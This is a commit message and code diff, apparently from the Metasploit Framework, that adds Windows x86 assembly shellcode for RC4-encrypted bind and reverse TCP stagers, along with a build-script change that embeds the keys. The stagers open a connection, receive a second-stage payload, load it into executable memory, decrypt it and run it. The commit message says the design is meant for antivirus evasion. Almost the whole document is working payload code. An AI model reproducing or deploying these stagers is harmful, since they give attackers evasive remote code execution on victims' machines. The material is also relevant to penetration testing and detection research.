Add shellcode for RC4 bind and reverse stagers

Those stagers will encrypt the initial stage with a 128-bit RC4 key and
the stage length with a XOR key. Both keys are embedded in the stager.

This should provide good evasion capabilities in addition to some
protection against MITM reversing (if the stager is sent a different
route, like in an executable on an USB key).

Note that, from a cryptanalyst's standpoint, it is a bad idea to reuse the
same stager (or stagers with the same RC4 and XOR keys) more than once
since an identical key will result in an identical keystream and make
correlation attacks easy. But I doubt that matters in practice.

Also note that since communication after the initial statging is not
encrypted, these stagers should be used in combination with additional
encryption support in the payloads (like Meterpreter).

external/source/shellcode/windows/x86/build.py

@@ -75,13 +75,15 @@ def xmit( name, dump_ruby=True ):
   xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) )  # Egg tag 1
   xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) )  # Egg tag 2
   xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) )   # Egg tag size
+  xmit_offset( data, "RC4Key", "RC4KeyMetasploit")          # RC4 key
+  xmit_offset( data, "XORKey", "XORK")                      # XOR key
   if( name.find( "egghunter" ) >= 0 ):
 	  null_count = data.count( "\x00" )
 	  if( null_count > 0 ):
 		print "# Note: %d NULL bytes found." % ( null_count )
   if dump_ruby:
     xmit_dump_ruby( data )
-#=============================================================================#
+#=============================================================================#
 def main( argv=None ):
   if not argv:
     argv = sys.argv

external/source/shellcode/windows/x86/src/block/block_recv_rc4.asm

@@ -0,0 +1,66 @@
+;-----------------------------------------------------------------------------;
+; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
+;          Michael Schierl (schierlm[at]gmx[dot]de)        [RC4 support]
+; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
+; Version: 1.0 (31 December 2012)
+;-----------------------------------------------------------------------------;
+[BITS 32]
+
+; Same as block_recv, only that the length will be XORed and the stage will be RC4 decoded.
+; Differences to block_recv are indented two more spaces.
+
+; Compatible: block_bind_tcp, block_reverse_tcp
+
+; Input: EBP must be the address of 'api_call'. EDI must be the socket. ESI is a pointer on stack.
+; Output: None.
+; Clobbers: EAX, EBX, ECX, EDX, ESI, (ESP will also be modified)
+
+recv:
+  ; Receive the size of the incoming second stage...
+  push byte 0            ; flags
+  push byte 4            ; length = sizeof( DWORD );
+  push esi               ; the 4 byte buffer on the stack to hold the second stage length
+  push edi               ; the saved socket
+  push 0x5FC8D902        ; hash( "ws2_32.dll", "recv" )
+  call ebp               ; recv( s, &dwLength, 4, 0 );
+  ; Alloc a RWX buffer for the second stage
+  mov esi, [esi]         ; dereference the pointer to the second stage length
+    xor esi, "XORK"      ; XOR the stage length
+    lea ecx, [esi+0x00]  ; ECX = stage length + S-box length (alloc length)
+  push byte 0x40         ; PAGE_EXECUTE_READWRITE
+  push 0x1000            ; MEM_COMMIT
+;  push esi               ; push the newly recieved second stage length.
+    push ecx             ; push the alloc length
+  push byte 0            ; NULL as we dont care where the allocation is.
+  push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
+  call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
+  ; Receive the second stage and execute it...
+;  xchg ebx, eax          ; ebx = our new memory address for the new stage + S-box
+    lea ebx, [eax+0x100] ; EBX = new stage address
+  push ebx               ; push the address of the new stage so we can return into it
+    push esi             ; push stage length
+    push eax             ; push the address of the S-box
+read_more:               ;
+  push byte 0            ; flags
+  push esi               ; length
+  push ebx               ; the current address into our second stage's RWX buffer
+  push edi               ; the saved socket
+  push 0x5FC8D902        ; hash( "ws2_32.dll", "recv" )
+  call ebp               ; recv( s, buffer, length, 0 );
+  add ebx, eax           ; buffer += bytes_received
+  sub esi, eax           ; length -= bytes_received
+  test esi, esi          ; test length
+  jnz read_more          ; continue if we have more to read
+    pop ebx              ; address of S-box
+    pop ecx              ; stage length
+    pop ebp              ; address of stage
+    push ebp             ; push back so we can return into it
+    push edi             ; save socket
+    mov edi, ebx         ; address of S-box
+    call after_key       ; Call after_key, this pushes the address of the key onto the stack.
+    db "RC4KeyMetasploit"
+after_key:
+    pop esi                ; ESI = RC4 key
+%include "./src/block/block_rc4.asm"
+    pop edi              ; restore socket
+  ret                    ; return into the second stage

external/source/shellcode/windows/x86/src/stager/stager_bind_tcp_rc4.asm

@@ -0,0 +1,20 @@
+;-----------------------------------------------------------------------------;
+; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
+;          Michael Schierl (schierlm[at]gmx[dot]de)        [RC4 support]
+; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
+; Version: 1.0 (31 December 2012)
+; Size: 413 bytes
+; Build: >build.py stager_bind_tcp_rc4
+;-----------------------------------------------------------------------------;
+[BITS 32]
+[ORG 0]
+
+  cld                    ; Clear the direction flag.
+  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
+%include "./src/block/block_api.asm"
+start:                   ;
+  pop ebp                ; pop off the address of 'api_call' for calling later.
+%include "./src/block/block_bind_tcp.asm"
+  ; By here we will have performed the bind_tcp connection and EDI will be our socket.
+%include "./src/block/block_recv_rc4.asm"
+  ; By now we will have received in the second stage into a RWX buffer and be executing it

external/source/shellcode/windows/x86/src/stager/stager_reverse_tcp_rc4.asm

@@ -0,0 +1,21 @@
+;-----------------------------------------------------------------------------;
+; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
+;          Michael Schierl (schierlm[at]gmx[dot]de)        [RC4 support]
+; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
+; Version: 1.0 (31 December 2012)
+; Size: 405 bytes
+; Build: >build.py stager_reverse_tcp_rc4
+;-----------------------------------------------------------------------------;
+
+[BITS 32]
+[ORG 0]
+
+  cld                    ; Clear the direction flag.
+  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
+%include "./src/block/block_api.asm"
+start:                   ;
+  pop ebp                ; pop off the address of 'api_call' for calling later.
+%include "./src/block/block_reverse_tcp.asm"
+  ; By here we will have performed the reverse_tcp connection and EDI will be our socket.
+%include "./src/block/block_recv_rc4.asm"
+  ; By now we will have recieved in the second stage into a RWX buffer and be executing it